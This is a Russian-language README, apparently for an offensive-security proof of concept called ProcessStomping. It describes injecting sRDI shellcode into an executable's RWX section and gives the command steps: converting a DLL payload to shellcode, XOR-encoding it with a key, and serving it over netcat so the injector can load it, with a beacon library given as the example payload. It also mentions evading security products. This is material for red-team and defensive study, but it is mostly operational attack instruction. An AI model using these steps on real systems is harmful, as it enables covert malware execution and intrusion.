
Вариант ProcessOverwriting для выполнения шеллкода в секции исполняемого файла
Вариант ProcessOverwriting для выполнения шелл-кода в секции исполняемого файла
Более подробное объяснение можно прочитать в моем посте в блоге
Process Stomping — это вариант Process Overwriting от hasherezade. Его преимущество заключается в записи полезной нагрузки шелл-кода в целевую секцию, а не в записи целой PE-нагрузки в адресное пространство хост-процесса.
Основные шаги техники ProcessStomping:
В качестве примера применения техники PoC можно использовать с sRDI для загрузки beacon-библиотеки через RWX-секцию исполняемого файла. На следующем рисунке описаны задействованные шаги.

Вся информация и контент предоставляются только в образовательных целях. Следуйте инструкциям на свой страх и риск. Ни автор, ни его работодатель не несут ответственности за прямой или косвенный ущерб или потери, возникшие у какого-либо лица или организации.
Эта работа стала возможной благодаря знаниям и инструментам, которыми поделились Александра Донец @hasherezade и Ник Ландерс.
Выберите целевой процесс и измените соответствующие глобальные переменные в ProcessStomping.cpp.
Скомпилируйте проект sRDI, убедившись, что смещение достаточно для перехода через сгенерированный блоб sRDI-шелл-кода, затем обновите инструменты sRDI:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Сгенерируйте полезную нагрузку DLL без рефлексивного загрузчика по вашему выбору, затем создайте блоб sRDI-шелл-кода:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
Затем блоб шелл-кода можно заксорить с ключевым словом и загрузить через простой сокет:
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Передайте заксоренный блоб при подключении:
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
Блоб sRDI будет удалён после выполнения для устранения ненужных артефактов.
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
Чтобы успешно выполнить эту технику, следует правильно выбрать целевой процесс и использовать полезную нагрузку DLL, которая не содержит пользовательского рефлексивного загрузчика.
Техника Process Stomping требует запуска целевого процесса в приостановленном состоянии, изменения точки входа потока и последующего возобновления потока для выполнения внедрённого шелл-кода. Эти операции могут считаться подозрительными, если выполняются быстро одна за другой, и могут привести к повышенному вниманию со стороны некоторых решений безопасности.